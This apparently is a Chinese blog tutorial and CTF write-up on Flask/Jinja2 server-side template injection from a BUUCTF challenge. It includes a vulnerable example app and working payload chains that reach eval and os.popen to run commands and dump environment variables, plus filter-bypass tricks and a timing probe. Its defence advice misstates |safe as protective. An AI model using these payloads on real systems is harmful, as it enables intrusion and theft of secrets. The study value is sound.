[Flask]SSTI漏洞实战:从原理到buuctf环境变量泄露的完整利用链
1. Flask SSTI漏洞初探为什么字符串能变成武器第一次接触Flask SSTI漏洞时我盯着{{7*7}}返回的49愣了半天——这明明是个计算器功能怎么就成漏洞了后来在BUUCTF实战中踩过几次坑才明白模板引擎的双刃剑特性就藏在这个看似无害的表达式里。Flask使用Jinja2模板引擎时默认会对{{}}包裹的内容进行表达式解析。就像小孩子学说话时会模仿大人的语法模板引擎也会忠实地执行我们输入的命令。当开发者不小心把用户输入直接拼接到模板中时就相当于把系统控制权交给了陌生人。我曾在测试时用{{config}}直接打印出数据库密码那一刻才真正理解什么叫越简单的接口越危险。漏洞产生的核心条件其实就两点服务端接收用户输入后未经处理直接传递给render_template_string模板中使用{{}}包含动态变量举个例子下面这段危险代码就是典型漏洞案例from flask import Flask, request, render_template_string app Flask(__name__) app.route(/vuln) def vulnerable(): name request.args.get(name, guest) template fh1Hello {name}/h1 return render_template_string(template)当访问/vuln?name{{7*7}}时页面显示的就不是预期的{7*7}字符串而是经过计算后的49。这个简单的乘法就像黑客的探路石用来确认是否存在SSTI漏洞。2. 魔术方法链从字符串到系统命令的奇幻漂流在BUUCTF那道让我熬夜的SSTI题里真正卡住我的不是漏洞利用而是理解__class__这些下划线开头的魔术方法。后来把它们的调用过程画成流程图才豁然开朗——这其实就是Python版的套娃游戏。关键方法链的运作原理.__class__空字符串实例的类对象class str.__base__获取类的基类class object.__subclasses__()列出所有子类约200个Python内置类[166].__init__选定catch_warnings类的初始化方法.__globals__获取该函数的全局命名空间字典这个链条就像在迷宫中按图索骥从最普通的字符串出发通过类继承关系找到包含危险函数的特殊类。有次我写自动化脚本时把__subclasses__()的输出保存下来分析发现不同Python版本中子类索引会变化——这就是为什么BUUCTF的catch_warnings在166号位置而你的本地环境可能在180号。手工构造payload时最容易栽在两点上混淆__bases__和__base__前者返回元组后者返回单个基类漏掉方法调用括号比如__subclasses__()没加括号就变成方法对象了3. 精准打击定位eval的猎杀时刻在SSTI利用过程中最刺激的莫过于寻找eval这个大杀器。就像玩《大家来找茬》要在__globals__返回的庞杂字典中锁定这个关键函数。有次比赛我花了半小时手动翻找后来才学会用eval in str(__globals__)快速定位。环境变量泄露的完整利用链# 手工payload分步解析 1. {{.__class__}} → 获取str类 2. {{.__class__.__base__}} → 跳转到object基类 3. {{.__class__.__base__.__subclasses__()}} → 枚举所有子类 4. {{.__class__.__base__.__subclasses__()[166]}} → 定位catch_warnings 5. {{.__class__.__base__.__subclasses__()[166].__init__.__globals__}} → 获取全局变量 6. {{.__class__.__base__.__subclasses__()[166].__init__.__globals__[__builtins__][eval](__import__(os).popen(env).read())}} → 执行系统命令第6步的__builtins__是个关键跳板它像Python的军火库一样包含了所有内置函数。我习惯用下面这个技巧快速验证是否找到正确路径{{.__class__.__base__.__subclasses__()[166].__init__.__globals__[__builtins__].keys()}}如果返回列表中有eval、exec等函数就意味着拿到了系统权限的万能钥匙。4. 自动化攻击模板循环的降维打击手工构造payload虽然直观但在实际渗透测试中效率太低。有次遇到子类索引不固定的目标系统我不得不搬出Jinja2的模板循环语法——这就像把手动步枪换成自动机枪。自动化payload的精妙之处在于{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ catch_warnings %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ {}.__class__ %} {% if eval in b.keys() %} {{ b[eval](__import__(os).popen(env).read()) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}这个payload像智能机器人一样自动完成以下工作遍历所有子类直到找到catch_warnings扫描该类的全局变量字典筛选出字典类型的变量检查是否存在eval函数执行命令并回显结果在BUUCTF环境中测试时我发现可以用|join过滤器优化输出{{ .__class__.__base__.__subclasses__()[166].__init__.__globals__[__builtins__].__dict__.values()|join(, ) }}这样能更清晰地看到所有可用的内置函数。不过要注意过滤器的使用可能会触发WAF实战中需要根据情况调整。5. 防御之道从攻击者视角看防护在挖过十几个SSTI漏洞后我逐渐养成了写Flask应用时的条件反射所有用户输入必须经过|safe过滤器或手动转义。就像厨师处理生肉必须戴手套模板渲染也要遵循最小权限原则。有效的防护方案包括永远不用render_template_string处理用户输入使用Jinja2的沙箱环境禁用危险过滤器如map、select添加内容安全策略(CSP)头有次代码审计时我见到过最奇葩的漏洞代码template request.args.get(template) return render_template_string(template.replace({{, ).replace(}}, ))开发者以为删除双花括号就安全了却不知道{% %}也能执行代码。这种半吊子防护反而会制造虚假的安全感。6. 漏洞利用的边界探索在最近一次红队行动中我发现当目标禁用os模块时可以通过subprocess.Popen迂回执行命令。这就好比发现防盗门没锁窗户总有出人意料的方法突破限制。当标准方法失效时的备选方案通过__import__(subprocess).Popen利用_获取最近表达式结果使用|attr过滤器访问属性读取/proc/self/environ获取环境变量有个有趣的技巧是在受限环境下用__mro__获取方法解析顺序{{ .__class__.__mro__[1].__subclasses__() }}这比直接找__base__更稳定因为不受单继承限制。不过要注意Python2和Python3的__mro__表现略有不同。7. 从CTF到实战的思维转换刚开始打BUUCTF时我总想着用最快payload拿到flag。直到某次真实渗透测试中盲目执行rm -rf导致目标服务崩溃才明白实战中需要更克制的操作方式。CTF与实战的核心差异CTF追求最短利用链实战要考虑隐蔽性CTF环境通常干净稳定实战会遇到各种WAFCTF的flag在环境变量实战可能需要深入挖掘有次在内网渗透时我用了这样的payload来避免触发告警{{ config.__class__.__init__.__globals__[os].popen(sleep 5).read() }}用sleep代替直接命令执行来探测是否存在漏洞就像特工用摩斯密码代替明语通讯。这种低慢小的攻击方式往往能绕过传统防御。